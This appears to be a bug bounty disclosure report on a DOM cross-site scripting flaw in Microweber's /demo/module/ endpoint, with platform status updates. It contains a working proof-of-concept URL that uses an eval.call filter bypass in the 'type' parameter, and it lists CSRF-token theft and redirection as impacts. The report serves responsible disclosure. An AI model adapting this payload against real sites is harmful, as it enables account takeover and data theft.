Cross-site scripting - DOM in microweber/microweber
Valid
Reported on
Jul 7th 2022
Description
DOM XSS with filter bypass on /demo/module/ using type parameter without authentication.
Proof of Concept
https://demo.microweber.org/demo/module/?type=files/xss%27;eval.call`${%27alert\x28window.origin\x29%27}`;//&live_edit=true&remeber_path=true&ui=basic&start_path=media_host_base&from_admin=true&file_types=images&id=mw_admin_pictures_upload_browse_existing_modaledit-post-gallery-main&from_url=http://google.com/
PoC Image

Impact
The attacker can:
- Steal token to perform CSRF.
- Fetch contents from same-site page.
- Redirect user. ...
We are processing your report and will contact the
microweber
team within 24 hours.
10 months ago
Nhien.IT modified the report
10 months ago
Nhien.IT modified the report
10 months ago
Nhien.IT modified the report
10 months ago
We have contacted a member of the
microweber
team and are waiting to hear back
10 months ago
The researcher's credibility has increased: +7
to join this conversation